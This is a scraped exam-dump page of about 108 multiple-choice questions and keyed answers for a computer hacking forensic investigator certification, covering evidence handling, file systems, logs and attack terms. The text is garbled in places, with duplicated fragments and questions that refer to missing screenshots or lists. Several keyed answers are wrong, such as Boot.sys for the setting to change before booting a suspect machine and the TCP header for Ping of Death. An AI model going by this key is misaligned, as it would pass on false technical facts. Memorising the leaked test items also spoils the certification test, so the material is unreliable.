EC-COUNCIL.312-49v9.v2022-03-16.q346

Exam Code:	312-49v9
Exam Name:	ECCouncil Computer Hacking Forensic Investigator (V9)
Certification Provider:	EC-COUNCIL
Free Question Number:	346
Version:	v2022-03-16
# of views:	6065
# of Questions views:	3460
https://www.freeqas.com/qa/EC-COUNCIL/312-49v9/EC-COUNCIL.312-49v9.v2022-03-16.q346.html	

NEW QUESTION: 1
Which of the following tool can the investigator use to analyze the network to detect Trojan activities?
A. Capsa
B. TRIPWIRE
C. RAM Computer
D. Regshot
Answer: A (LEAVE A REPLY)

NEW QUESTION: 2
Where is the default location for Apache access logs on a Linux computer?
A. usr/local/apache/logs/access_log
B. usr/logs/access_log
C. logs/usr/apache/access_log
D. bin/local/home/apache/logs/access_log
Answer: A (LEAVE A REPLY)

NEW QUESTION: 3
Harold is finishing up a report on a case of network intrusion, corporate spying, and embezzlement that he has been working on for over six months. He is trying to find the right term to use in his report to describe network-enabled spying. What term should Harold use?
A. Spycrack
B. Hackspionage
C. Spynet
D. Netspionage
Answer: D (LEAVE A REPLY)

NEW QUESTION: 4
Why should you note all cable connections for a computer you want to seize as evidence?
A. in case other devices were connected
B. to know what peripheral devices exist
C. to know what outside connections existed
D. to know what hardware existed
Answer: C (LEAVE A REPLY)

NEW QUESTION: 5
An investigator has extracted the device descriptor for a 1 GB thumb drive that looks like: Disk&Ven_Best_Buy&Prod_Geek_Squad_U3&Rev 6.15. What does the "Geek_Squad" part represent?
A. Software or OS used
B. Manufacturer Details
C. Developer description
D. Product description
Answer: D (LEAVE A REPLY)

NEW QUESTION: 6
You work as a penetration tester for Hammond Security Consultants. You are currently working on a contract for the state government of California. Your next step is to initiate a
DoS attack on their network. Why would you want to initiate a DoS attack on a system you are testing?
A. Demonstrate that no system can be protected againstDoS attacks
B. List weak points on their network
C. Show outdatedeQuipment so it can be replaced
D. Use attack as a launching point to penetrate deeper into the network
Answer: B (LEAVE A REPLY)

NEW QUESTION: 7
What is the smallest physical storage unit on a hard drive?
A. Track
B. Sector
C. Platter
D. Cluster
Answer: (SHOW ANSWER)

NEW QUESTION: 8
When you are running a vulnerability scan on a network and the IDS cuts off your connection, what type of IDS is being used?

A. Active IDS
B. Passive IDS
C. Progressive IDS
D. NIPS
Answer: A (LEAVE A REPLY)

NEW QUESTION: 9
Which of the following is not an example of a cyber-crime?
A. Deliberate circumvention of the computer security systems
B. Fraud achieved by the manipulation of the computer records
C. Intellectual property theft, including software piracy
D. Firing an employee for misconduct
Answer: D (LEAVE A REPLY)

NEW QUESTION: 10
What will the following command accomplish?
dd if=/dev/xxx of=mbr.backup bs=512 count=1
A. Restore the first 512 bytes of the first partition of the hard drive
B. Mount the master boot record on the first partition of the hard drive
C. Restore the master boot record
D. Back up the master boot record
Answer: D (LEAVE A REPLY)

NEW QUESTION: 11
Which of the following Event Correlation Approaches is an advanced correlation method that assumes and predicts what an attacker can do next after the attack by studying the statistics and probability and uses only two variables?
A. Route Correlation
B. Vulnerability-Based Approach
C. Bayesian Correlation
D. Rule-Based Approach
Answer: C (LEAVE A REPLY)

NEW QUESTION: 12
In which of these attacks will a steganalyst use a random message to generate a stego-object by using some steganography tool, to find the steganography algorithm used to hide the information?
A. Known-message attack
B. Chosen-message attack
C. Known-cover attack
D. Known-stego attack

Answer: (SHOW ANSWER)

NEW QUESTION: 13
What will the following Linux command accomplish?
dd if=/dev/mem of=/home/sam/mem.bin bs=1024
A. Copy the contents of the system folder to a file
B. Copy the master boot record to a file
C. Copy the memory dump file to an image file
D. Copy the running memory to a file
Answer: (SHOW ANSWER)

NEW QUESTION: 14
The use of warning banners helps a company avoid litigation by overcoming an employees assumed _____ when connecting to the company intranet, network, or virtual private network (VPN) and will allow the company investigators to monitor, search, and retrievecompany? intranet, network, or virtual private network (VPN) and will allow the company? investigators to monitor, search, and retrieve information stored within the network.
A. Right of free speech
B. Right to Internet access
C. Right to work
D. Right of privacy
Answer: D (LEAVE A REPLY)

NEW QUESTION: 15
When searching through file headers for picture file formats, what should be searched to find a JPEG file in hexadecimal format?
A. FF 00 FF 00 FF 00
B. EF 00 EF 00 EF 00
C. FF FF FF FF FF FF
D. FF D8 FF E0 00 10
Answer: D (LEAVE A REPLY)

NEW QUESTION: 16
You are the network administrator for a small bank in Dallas, Texas. To ensure network security, you enact a security policy that requires all users to have 14 character passwords.
After giving your users 2 weeks notice, you change the Group Policy to force 14 character passwords. A week later you dump the SAM database from the standalone server and run a password-cracking tool against it. Over 99% of the passwords are broken within an hour.
Why were these passwords cracked so Quickly?
A. Networks using Active Directory never use SAM databases so the SAM database pulled was empty

B. A password Group Policy change takes at least 3 weeks to completely replicate throughout a network
C. The passwords that were cracked are local accounts on the Domain Controller
D. Passwords of 14 characters or less are broken up into two 7-character hashes
Answer: D (LEAVE A REPLY)

NEW QUESTION: 17
To make sure the evidence you recover and analyze with computer forensics software can be admitted in court, you must test and validate the software. What group is actively providing tools and creating procedures for testing and validating computer forensics software ?
A. Association of Computer Forensics Software Manufactures (ACFSM)
B. National Institute of Standards and Technology (NIST)
C. Computer Forensics Tools and Validation Committee (CFTVC)
D. Society for Valid Forensics Tools and Testing (SVFTT)
Answer: (SHOW ANSWER)

NEW QUESTION: 18
A master boot record (MBR) is the first sector ("sector zero") of a data storage device. What is the size of MBR?
A. 1048 Bytes
B. 512 Bytes
C. Depends on the capacity of the storage device
D. 4092 Bytes
Answer: B (LEAVE A REPLY)

NEW QUESTION: 19
Travis, a computer forensics investigator, is finishing up a case he has been working on for over a month involving copyright infringement and embezzlement. His last task is to prepare an investigative report for the president of the company he has been working for.
Travis must submit a hard copy and an electronic copy to this president. In what electronic format should Travis send this report?
A. WPD

B. TIFF-8
C. DOC
D. PDF
Answer: D (LEAVE A REPLY)

NEW QUESTION: 20
You just passed your ECSA exam and are about to start your first consulting job running security audits for a financial institution in Los Angeles. The IT manager of the company you will be working for tries to see if you remember your ECSA class. He asks about the methodology you will be using to test the company's network.
How would you answer?
A. Microsoft Methodology
B. Google Methodology
C. LPT Methodology
D. IBM Methodology
Answer: C (LEAVE A REPLY)

NEW QUESTION: 21
Which of the following standard represents a legal precedent set in 1993 by the Supreme Court of the United States regarding the admissibility of expert witnesses' testimony during federal legal proceedings?
A. SWGDE & SWGIT
B. Frye
C. Daubert
D. IOCE
Answer: C (LEAVE A REPLY)

NEW QUESTION: 22
It takes _____ mismanaged case/s to ruin your professional reputation as a computer forensics examiner?
A. at least two
B. only one
C. by law, three
D. quite a few
Answer: (SHOW ANSWER)

NEW QUESTION: 23
Tyler is setting up a wireless network for his business that he runs out of his home. He has followed all the directions from the ISP as well as the wireless router manual. He does not have any encryption set and the SSID is being broadcast. On his laptop, he can pick up the wireless signal for short periods of time, but then the connection drops and the signal goes away.

Eventually the wireless signal shows back up, but drops intermittently. What could be Tyler issue with his home wireless network?

A. Computers on his wired network

B. CB radio

C. Satellite television

D. 2.4Ghz Cordless phones

Answer: D (LEAVE A REPLY)

NEW QUESTION: 24

On Linux/Unix based Web servers, what privilege should the daemon service be run under?

A. Guest

B. Root

C. Something other than root

D. You cannot determine what privilege runs the daemon service

Answer: (SHOW ANSWER)

NEW QUESTION: 25

Which Is a Linux journaling file system?

A. Ext3

B. BFS

C. HFS

D. FAT

Answer: (SHOW ANSWER)

NEW QUESTION: 26

In a computer forensics investigation, what describes the route that evidence takes from the time you find it until the case is closed or goes to court?

A. chain of custody

B. policy of separation

C. rules of evidence

D. law of probability

Answer: A (LEAVE A REPLY)

NEW QUESTION: 27

You have been called in to help with an investigation of an alleged network intrusion. After questioning the members of the company ITYou have been called in to help with an investigation of an alleged network intrusion. After questioning the members of the company? IT department, you search through the server log files to find any trace of the intrusion. After that you decide to telnet into one of the company routers to see if there is any evidence to be found. While connected to the router, you see some unusual activity and believe that the attackers are currently connected to that router. You start up an ethereal session to begin capturing traffic on

the router that could be used in the investigation. At what layer of the OSI model are you monitoring while watching traffic to and from the router?

A. Transport

B. Session

C. Network

D. Data Link

Answer: (SHOW ANSWER)

NEW QUESTION: 28

In Microsoft file structures, sectors are grouped together to form:

A. Bitstreams

B. Partitions

C. Clusters

D. Drives

Answer: C (LEAVE A REPLY)

NEW QUESTION: 29

What does 254 represent in ICCID 89254021520014515744?

A. Issuer Identifier Number

B. Country Code

C. Individual Account Identification Number

D. Industry Identifier Prefix

Answer: (SHOW ANSWER)

NEW QUESTION: 30

E-mail logs contain which of the following information to help you in your investigation? (Choose four.)

A. user account that was used to send the account

B. attachments sent with the e-mail message

C. unique message identifier

D. contents of the e-mail message

E. date and time the message was sent

Answer: A,C,D,E (LEAVE A REPLY)

NEW QUESTION: 31

Joshua is analyzing an MSSQL database for finding the attack evidence and other details, where should he look for the database logs?

A. Model.txt

B. Model.lgf

C. Model.ldf

D. Model.log

Answer: (SHOW ANSWER)

NEW QUESTION: 32
What is the slave device connected to the secondary IDE controller on a Linux OS referred to?
A. hdb
B. hdc
C. hdd
D. hda
Answer: (SHOW ANSWER)

NEW QUESTION: 33
Which of the following tool can reverse machine code to assembly language?
A. PEiD
B. Deep Log Analyzer
C. RAM Capturer
D. IDA Pro
Answer: D (LEAVE A REPLY)

NEW QUESTION: 34
Daryl, a computer forensics investigator, has just arrived at the house of an alleged computer hacker. Daryl takes pictures and tags all computer and peripheral equipment found in the house. Daryl packs all the items found in his van and takes them back to his lab for further examination. At his lab, Michael his assistant helps him with the investigation. Since Michael is still in training, Daryl supervises all of his work very carefully.
Michael is not quite sure about the procedures to copy all the data off the computer and peripheral devices.
How many data acquisition tools should Michael use when creating copies of the evidence for the investigation?
A. Three
B. One
C. Four
D. Two

Answer: D (LEAVE A REPLY)

NEW QUESTION: 35
An expert witness is a _____ who is normally appointed by a party to assist the formulation and preparation of a party's claim or defense.
A. Subject matter specialist
B. Expert in criminal investigation
C. Expert law graduate appointed by attorney
D. Witness present at the crime scene
Answer: A (LEAVE A REPLY)

NEW QUESTION: 36
If you plan to startup a suspect's computer, you must modify the _____ to ensure that you do not contaminate or alter data on the suspect's hard drive by booting to the hard drive.
A. Boot.sys
B. CMOS
C. Scandisk utility
D. deltree command
Answer: A (LEAVE A REPLY)

NEW QUESTION: 37
If the partition size is 4 GB, each cluster will be 32
K. Even if a file needs only 10 K, the entire 32 K will be allocated, resulting in 22 K of _____.
A. Deleted space
B. Sector space
C. Slack space
D. Cluster space
Answer: C (LEAVE A REPLY)

NEW QUESTION: 38
Julie is a college student majoring in Information Systems and Computer Science. She is currently writing an essay for her computer crimes class. Julie paper focuses on white- collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subjectJulie? paper focuses on white-collar crimes in America and how forensics investigators investigate the cases. Julie would like to focus the subject of the essay on the most common type of crime found in corporate America. What crime should
Julie focus on?
A. Physical theft
B. Copyright infringement
C. Denial of Service attacks
D. Industrial espionage

Answer: (SHOW ANSWER)

NEW QUESTION: 39
Linux operating system has two types of typical bootloaders namely LILO (Linux Loader) and GRUB (Grand Unified Bootloader). In which stage of the booting process do the bootloaders become active?
A. BootROM Stage
B. Bootloader Stage
C. BIOS Stage
D. Kernel Stage
Answer: D (LEAVE A REPLY)

NEW QUESTION: 40
A steganographic file system is a method to store the files in a way that encrypts and hides the data without the knowledge of others
A. False
B. True
Answer: B (LEAVE A REPLY)

NEW QUESTION: 41
If you are concerned about a high level of compression but not concerned about any possible data loss, what type of compression would you use?
A. Lossless compression
B. Lossy compression
C. Time-loss compression
D. Lossful compression
Answer: B (LEAVE A REPLY)

NEW QUESTION: 42
MAC filtering is a security access control methodology, where a _____ is assigned to each network card to determine access to the network
A. 24-bit address
B. 32-bit address
C. 48-bit address
D. 16-bit address
Answer: C (LEAVE A REPLY)

NEW QUESTION: 43
What should you do when approached by a reporter about a case that you are working on or have worked on?

A. Answer all the reporter questions as completely as possibleAnswer all the reporter? questions as completely as possible
B. Answer only the questions that help your case
C. Say, o comment?Say, ?o comment
D. Refer the reporter to the attorney that retained you
Answer: C (LEAVE A REPLY)

NEW QUESTION: 44
Jacob is a computer forensics investigator with over 10 years experience in investigations and has written over 50 articles on computer forensics. He has been called upon as a qualified witness to testify the accuracy and integrity of the technical log files gathered in an investigation into computer fraud. What is the term used for Jacob testimony in this case?computer fraud. What is the term used for Jacob? testimony in this case?
A. Reiteration
B. Justification
C. Authentication
D. Certification
Answer: C (LEAVE A REPLY)

NEW QUESTION: 45
What is the primary function of the tool CHKDSK in Windows that authenticates the file system reliability of a volume?
A. Check the disk for connectivity errors
B. Repairs logical file system errors
C. Check the disk for hardware errors
D. Check the disk for Slack Space
Answer: B (LEAVE A REPLY)

NEW QUESTION: 46
Quality of a raster Image is determined by the _____and the amount of information in each pixel.
A. Total number of pixels
B. Compression method
C. Image file size
D. Image file format
Answer: A (LEAVE A REPLY)

NEW QUESTION: 47
Which of the following commands shows you the names of all open shared files on a server and the number of file locks on each file?
A. Net share
B. Net file
C. Net config
D. Net sessions
Answer: (SHOW ANSWER)

NEW QUESTION: 48
A suspect is accused of violating the acceptable use of computing resources, as he has visited adult websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed visit these sites. However, the suspect has cleared the search history and emptied the cookie cache. Moreover, he has removed any images he might have downloaded. What can the investigator do to prove the violation? Choose the most feasible option.
A. Image the disk and try to recover deleted files
B. Seek the help of co-workers who are eye-witnesses
C. Approach the websites for evidence
D. Check the Windows registry for connection data (You may or may not recover)
Answer: A (LEAVE A REPLY)

NEW QUESTION: 49
When examining the log files from a Windows IIS Web Server, how often is a new log file created?
A. the same log is used at all times
B. a new log file is created everyday
C. a new log file is created each week
D. a new log is created each time the Web Server is started
Answer: B (LEAVE A REPLY)
Wecannot tell if the question is referring to the httperr.log file (IIS 6.0) or is it referring to the logfiles for the website.
If IIS is the case, "a new log file is created every day" should be the correct answer.
Microsoft creates the log files in the following format: exYYMMdd.log format and rotates them daily.

NEW QUESTION: 50

Which of the following statements is incorrect when preserving digital evidence?
A. Remove the power cable depending on the power state of the computer i.e., in on. off, or in sleep mode
B. Verily if the monitor is in on, off, or in sleep mode
C. Turn on the computer and extract Windows event viewer log files
D. Document the actions and changes that you observe in the monitor, computer, printer, or in other peripherals
Answer: C (LEAVE A REPLY)

NEW QUESTION: 51
Network forensics can be defined as the sniffing, recording, acquisition and analysis of the network traffic and event logs in order to investigate a network security incident.
A. False
B. True
Answer: (SHOW ANSWER)

NEW QUESTION: 52
You have been given the task to investigate web attacks on a Windows-based server. Which of the following commands will you use to look at the sessions the machine has opened with other systems?
A. Net sessions
B. Net use
C. Net config
D. Net share
Answer: B (LEAVE A REPLY)

NEW QUESTION: 53
Which of the following files gives information about the client sync sessions in Google Drive on Windows?
A. Sync_log.log
B. sync, log Q Sync, log
C. sync_log.log
Answer: (SHOW ANSWER)

NEW QUESTION: 54
Hackers can gain access to Windows Registry and manipulate user passwords, DNS settings, access rights or others features that they may need in order to accomplish their objectives. One simple method for loading an application at startup is to add an entry (Key) to the following Registry Hive:
A. HKEY_LOCAL_MACHINE\Software\Microsoft\CurrentVersion\Run
B. HKEY_LOCAL_USERS\Software\Microsoft\old\Version\Load

C. HKEY_CURRENT_USER\Microsoft\Default
D. HKEY_LOCAL_MACHINE\hardware\windows\start
Answer: (SHOW ANSWER)

NEW QUESTION: 55
Gary, a computer technician, is facing allegations of abusing children online by befriending them and sending them illicit adult images from his office computer. What type of investigation does this case require?
A. Criminal Investigation
B. Administrative Investigation
C. Civil Investigation
D. Both Criminal and Administrative Investigation
Answer: A (LEAVE A REPLY)

NEW QUESTION: 56
Harold is a computer forensics investigator working for a consulting firm out of Atlanta Georgia. Harold is called upon to help with a corporate espionage case in Miami Florida. Harold assists in the investigation by pulling all the data from the computers allegedly used in the illegal activities. He finds that two suspects in the company where stealing sensitive corporate information and selling it to competing companies. From the email and instant messenger logs recovered, Harold has discovered that the two employees notified the buyers by writing symbols on the back of specific stop signs. This way, the buyers knew when and where to meet with the alleged suspects to buy the stolen material. What type of steganography did these two suspects use?
A. Text semagram
B. Grill cipher
C. Visual cipher
D. Visual semagram
Answer: D (LEAVE A REPLY)

NEW QUESTION: 57
Harold is a security analyst who has just run the rdisk /s command to grab the backup SAM file on a computer. Where should Harold navigate on the computer to find the file?
A. %systemroot%\system32\LSA
B. %systemroot%\repair
C. %systemroot%\system32\drivers\etc
D. %systemroot%\LSA
Answer: B (LEAVE A REPLY)

NEW QUESTION: 58
What is the smallest allocation unit of a hard disk?

A. Slack space
B. Disk platters
C. Cluster
D. Spinning tracks
Answer: C (LEAVE A REPLY)

NEW QUESTION: 59
What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?
A. key escrow
B. rootkit
C. Offset
D. steganography
Answer: D (LEAVE A REPLY)

NEW QUESTION: 60
What is considered a grant of a property right given to an individual who discovers or invents a new machine, process, useful composition of matter or manufacture?
A. Design patent
B. Trademark
C. Copyright
D. Utility patent
Answer: (SHOW ANSWER)

NEW QUESTION: 61
Bill is the accounting manager for Grummon and Sons LLC in Chicago. On a regular basis, he needs to send PDF documents containing sensitive information through E-mail to his customers. Bill protects the PDF documents with a password and sends them to their intended recipients. Why PDF passwords do not offer maximum protection?
A. When sent through E-mail, PDF passwords are stripped from the document completely
B. PDF passwords are not considered safe by Sarbanes-Oxley
C. PDF passwords are converted to clear text when sent through E-mail
D. PDF passwords can easily be cracked by software brute force tools
Answer: D (LEAVE A REPLY)

NEW QUESTION: 62
Adam, a forensic investigator, is investigating an attack on Microsoft Exchange Server of a large organization. As the first step of the investigation, he examined the PRIV.EDB file and found the source from where the mail originated and the name of the file that disappeared upon execution. Now, he wants to examine the MIME stream content. Which of the following files is he going to examine?
A. gwcheck.db
B. PRIV.STM
C. PRIV.EDB
D. PUB.EDB
Answer: B (LEAVE A REPLY)

NEW QUESTION: 63
Which of the following statements does not support the case assessment?
A. Do not document the chain of custody
B. Identify the legal authority for the forensic examination request
C. Discuss whether other forensic processes need to be performed on the evidence
D. Review the case investigator's request for service
Answer: A (LEAVE A REPLY)

NEW QUESTION: 64
What is a SCSI (Small Computer System Interface)?
A. A point-to-point serial bi-directional interface for transmitting data between computer devices at data rates of up to 4 Gbps
B. A "plug-and-play" interface, which allows a device to be added without an adapter card and without rebooting the computer
C. A set of ANSI standard electronic interfaces that allow personal computers to communicate with peripheral hardware such as disk drives, tape drives. CD-ROM drives, printers, and scanners
D. A standard electronic interface used between a computer motherboard's data paths or bus and the computer's disk storage devices
Answer: (SHOW ANSWER)

NEW QUESTION: 65
What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death?
A. IP header field
B. UDP header field
C. ICMP header field

D. TCP header field
Answer: D (LEAVE A REPLY)

NEW QUESTION: 66
Which of the following commands shows you the NetBIOS name table each?
A. nbtstat -n
B. nbtstat -s
C. nbtstat -r
D. nbtstat -c
Answer: A (LEAVE A REPLY)

NEW QUESTION: 67
An on-site incident response team is called to investigate an alleged case of computer tampering within their company. Before proceeding with the investigation, the CEO informs them that the incident will be classified as low level. How long will the team have to respond to the incident?
A. Four hours
B. Immediately
C. Two working days
D. One working day
Answer: D (LEAVE A REPLY)

NEW QUESTION: 68
An investigator has found certain details after analysis of a mobile device. What can reveal the manufacturer information?
A. International mobile subscriber identity (IMSI)
B. Integrated circuit card identifier (ICCID)
C. Electronic Serial Number (ESN)
D. Equipment Identity Register (EIR)
Answer: (SHOW ANSWER)

NEW QUESTION: 69
Office documents (Word, Excel, PowerPoint) contain a code that allows tracking the MAC, or unique identifier, of the machine that created the document. What is that code called?
A. the Microsoft Virtual Machine Identifier
B. the Globally Unique ID
C. the Personal Application Protocol
D. the Individual ASCII String
Answer: B (LEAVE A REPLY)

NEW QUESTION: 70

Volatile information can be easily modified or lost when the system is shut down or rebooted. It helps to determine a logical timeline of the security incident and the users who would be responsible.

A. False

B. True

Answer: B (LEAVE A REPLY)

NEW QUESTION: 71

How will you categorize a cybercrime that took place within a CSP's cloud environment?

A. Cloud as an Object

B. Cloud as an Audit

C. Cloud as a Subject

D. Cloud as a Tool

Answer: A (LEAVE A REPLY)

NEW QUESTION: 72

An investigator is searching through the firewall logs of a company and notices ICMP packets that are larger than 65,536 bytes. What type of activity is the investigator seeing?

A. Smurf

B. Fraggle

C. Nmap scan

D. Ping of death

Answer: D (LEAVE A REPLY)

NEW QUESTION: 73

When examining a hard disk without a write-blocker, you should not start windows because Windows will write data to the:

A. BIOS

B. MSDOS.sys

C. Recycle Bin

D. Case files

Answer: (SHOW ANSWER)

NEW QUESTION: 74

For what purpose do the investigators use tools like iPhoneBrowser, iFunBox, OpenSSHSSH, and iMazing?

A. Bypassing iPhone passcode

B. Debugging iPhone

C. Copying contents of iPhone

D. Rooting iPhone

Answer: A (LEAVE A REPLY)

NEW QUESTION: 75
George is a senior security analyst working for a state agency in Florida. His state's congress just passed a bill mandating every state agency to undergo a security audit annually. After learning what will be required, George needs to implement an IDS as soon as possible before the first audit occurs. The state bill requires that an IDS with a "time- based induction machine" be used. What IDS feature must George implement to meet this requirement?
A. Statistical-based anomaly detection
B. Signature-based anomaly detection
C. Real-time anomaly detection
D. Pattern matching
Answer: C (LEAVE A REPLY)

NEW QUESTION: 76
Which forensic investigating concept trails the whole incident from how the attack began to how the victim was affected?
A. End-to-end
B. Point-to-point
C. Complete event analysis
D. Thorough
Answer: (SHOW ANSWER)

NEW QUESTION: 77
UEFI is a specification that defines a software interface between an OS and platform firmware. Where does this interface store information about files present on a disk?
A. BIOS Parameter Block
B. BIOS-MBR
C. GUID Partition Table (GPT)
D. Master Boot Record (MBR)
Answer: (SHOW ANSWER)

NEW QUESTION: 78

Sheila is a forensics trainee and is searching for hidden image files on a hard disk. She used a forensic investigation tool to view the media in hexadecimal code for simplifying the search process. Which of the following hex codes should she look for to identify image files?
A. ff d8 ff
B. 50 41 03 04
C. 25 50 44 46
D. do of 11 e0
Answer: A (LEAVE A REPLY)

NEW QUESTION: 79
Event correlation is the process of finding relevance between the events that produce a final result. What type of correlation will help an organization to correlate events across a set of servers, systems, routers and network?
A. Cross-platform correlation
B. Same-platform correlation
C. Network-platform correlation
D. Multiple-platform correlation
Answer: A (LEAVE A REPLY)

NEW QUESTION: 80
FAT32 is a 32-bit version of FAT file system using smaller clusters and results in efficient storage capacity. What is the maximum drive size supported?
A. 2 terabytes
B. 3 terabytes
C. 4 terabytes
D. 1 terabytes
Answer: (SHOW ANSWER)

NEW QUESTION: 81
When you are running a vulnerability scan on a network and the IDS cuts off your connection, what type of IDS is being used?
A. Active IDS
B. NIPS
C. Progressive IDS
D. Passive IDS
Answer: A (LEAVE A REPLY)

NEW QUESTION: 82
Lynne receives the following email:

Dear lynne@gmail.com! We are sorry to inform you that your ID has been temporarily frozen due to incorrect or missing information saved at 2016/11/10 20:40:24 You have 24 hours to fix this problem or risk to be closed permanently!
To proceed Please Connect >> My Apple ID
Thank
You The link to My Apple ID shows http://byggarbetsplatsen.se/backup/signon/ What type of attack is this?
A. Phishing
B. Email Spoofing
C. Email Spamming
D. Mail Bombing
Answer: A (LEAVE A REPLY)

NEW QUESTION: 83
You are running known exploits against your network to test for possible vulnerabilities. To test the strength of your virus software, you load a test network to mimic your production network. Your software successfully blocks some simple macro and encrypted viruses. You decide to really test the software by using virus code where the code rewrites itself entirely and the signatures change from child to child, but the functionality stays the same. What type of virus is this that you are testing?
A. Oligomorhic
B. Metamorphic
C. Transmorphic
D. Polymorphic
Answer: B (LEAVE A REPLY)

NEW QUESTION: 84
Sniffers that place NICs in promiscuous mode work at what layer of the OSI model?
A. Network
B. Sessi
C. Physical
D. Transport
Answer: C (LEAVE A REPLY)

NEW QUESTION: 85
The efforts to obtain information before a trial by demanding documents, depositions, questions and answers written under oath, written requests for admissions of fact, and examination of the scene is a description of what legal term?
A. Hearsay
B. Discovery
C. Spoliation

D. Detection
Answer: B (LEAVE A REPLY)

NEW QUESTION: 86
When investigating a computer forensics case where Microsoft Exchange and Blackberry Enterprise server are used, where would investigator need to search to find email sent from a Blackberry device?
A. Blackberry Enterprise server
B. Blackberry desktop redirector
C. RIM Messaging center
D. Microsoft Exchange server
Answer: D (LEAVE A REPLY)

NEW QUESTION: 87
Which of the following techniques can be used to beat steganography?
A. Encryption
B. Steganalysis
C. Decryption
D. Cryptanalysis
Answer: B (LEAVE A REPLY)

NEW QUESTION: 88
A small law firm located in the Midwest has possibly been breached by a computer hacker looking to obtain information on their clientele. The law firm does not have any on-site IT employees, but wants to search for evidence of the breach themselves to prevent any possible media attention. Why would this not be recommended?
A. Searching can change date/time stamps
B. Searching creates cache files, which would hinder the investigation
C. Searching for evidence themselves would not have any ill effects
D. Searching could possibly crash the machine or device
Answer: A (LEAVE A REPLY)

NEW QUESTION: 89
Identify the file system that uses $BitMap file to keep track of all used and unused clusters on a volume.
A. NTFS
B. FAT32
C. FAT
D. EXT
Answer: A (LEAVE A REPLY)

NEW QUESTION: 90
When a router receives an update for its routing table, what is the metric value change to that path?
A. Decreased by 2
B. Decreased by 1
C. Increased by 1
D. Increased by 2
Answer: C (LEAVE A REPLY)

NEW QUESTION: 91
In Microsoft file structures, sectors are grouped together to form:
A. Bitstreams
B. Clusters
C. Drives
D. Partitions
Answer: (SHOW ANSWER)

NEW QUESTION: 92
Which of the following log injection attacks uses white space padding to create unusual log entries?
A. HTML injection attack
B. Word wrap abuse attack
C. Terminal injection attack
D. Timestamp injection attack
Answer: B (LEAVE A REPLY)

NEW QUESTION: 93
All Blackberry email is eventually sent and received through what proprietary RIM-operated mechanism?
A. Blackberry Message Center
B. Blackberry WAP gateway
C. Microsoft Exchange

D. Blackberry WEP gateway
Answer: A (LEAVE A REPLY)

NEW QUESTION: 94
Which of the following tools enables data acquisition and duplication?
A. Xplico
B. Colasoft's Capsa
C. Wireshark
D. DriveSpy
Answer: D (LEAVE A REPLY)

NEW QUESTION: 95
The following is a log file screenshot from a default installation of IIS 6.0.
What time standard is used by IIS as seen in the screenshot?
A. UTC
B. UT
C. GMT
D. TAI
Answer: (SHOW ANSWER)

NEW QUESTION: 96
Data acquisition system is a combination of tools or processes used to gather, analyze and record Information about some phenomenon. Different data acquisition system are used depends on the location, speed, cost. etc. Serial communication data acquisition system is used when the actual location of the data is at some distance from the computer. Which of the following communication standard is used in serial communication data acquisition system?
A. RS231
B. RS422
C. RS423
D. RS232
Answer: (SHOW ANSWER)

NEW QUESTION: 97
Graphics Interchange Format (GIF) is a ____ RGB bitmap image format for images with up to 256 distinct colors per frame.
A. 32-bit
B. 8-bit
C. 16-bit
D. 24-bit
Answer: (SHOW ANSWER)

NEW QUESTION: 98
What is the framework used for application development for iOS-based mobile devices?
A. Dalvik
B. Cocoa Touch
C. Zygote
D. AirPlay
Answer: B (LEAVE A REPLY)

NEW QUESTION: 99
Which device in a wireless local area network (WLAN) determines the next network point to which a packet should be forwarded toward its destination?
A. Wireless modem
B. Antenna
C. Wireless router
D. Mobile station
Answer: (SHOW ANSWER)

NEW QUESTION: 100
Who is responsible for the following tasks?
A. Lawyers
B. System administrators
C. Local managers or other non-forensic staff
D. Non-forensics staff
Answer: (SHOW ANSWER)

NEW QUESTION: 101
When investigating a network that uses DHCP to assign IP addresses, where would you look to determine which system (MAC address) had a specific IP address at a specific time?
A. In the DHCP Server log files
B. In the Web Server log files
C. On the individual computer ARP cacheOn the individual computer? ARP cache
D. There is no way to determine the specific IP address
Answer: A (LEAVE A REPLY)

NEW QUESTION: 102
Which of the following files stores information about a local Google Drive installation such as User email ID, Local Sync Root Path, and Client version installed?
A. Sync_config.db
B. sigstore.db
C. config.db
D. filecache.db

Answer: A (LEAVE A REPLY)

NEW QUESTION: 103
Which Intrusion Detection System (IDS) usually produces the most false alarms due to the unpredictable behaviors of users and networks?
A. network-based IDS systems (NIDS)
B. host-based IDS systems (HIDS)
C. anomaly detection
D. signature recognition
Answer: B,C (LEAVE A REPLY)
NIDS and HIDS are types of IDS systems, Host or Network, and addresses placement of the probe.
Anomaly detection is based on behavior analysis, and if you read the question, the question says "behavior" and if the behavior is unporedictable, then the IDS won't know what is normal and what is bad.

NEW QUESTION: 104
Which of the following standard represents a legal precedent sent in 1993 by the Supreme Court of the United States regarding the admissibility of expert witnesses' testimony during federal legal proceedings?
A. IOCE
B. Frye
C. Daubert
D. SWGDE & SWGIT
Answer: C (LEAVE A REPLY)

NEW QUESTION: 105
Which one of the following is not a consideration in a forensic readiness planning checklist?
A. Decide the procedure for securely collecting the evidence that meets the requirement fn a forensically sound manner
B. Take permission from all employees of the organization
C. Identify the potential evidence available
D. Define the business states that need digital evidence
Answer: B (LEAVE A REPLY)

NEW QUESTION: 106
Microsoft Security IDs are available in Windows Registry Editor. The path to locate IDs in Windows 7 is:
A. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
B. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Profilelist
C. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Reglist

D. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Regedit
Answer: A (LEAVE A REPLY)

NEW QUESTION: 107
On Linux/Unix based Web servers, what privilege should the daemon service be run under?
A. You cannot determine what privilege runs the daemon service
B. Guest
C. Root
D. Something other than root
Answer: (SHOW ANSWER)

NEW QUESTION: 108
Networks are vulnerable to an attack which occurs due to overextension of bandwidth, bottlenecks, network data interception, etc.
Which of the following network attacks refers to a process in which an attacker changes his or her IP address so that he or she appears to be someone else?
A. Man-in-the-middle attack
B. Session sniffing
C. Denial of Service attack
D. IP address spoofing
Answer: D (LEAVE A REPLY)

NEW QUESTION: 109
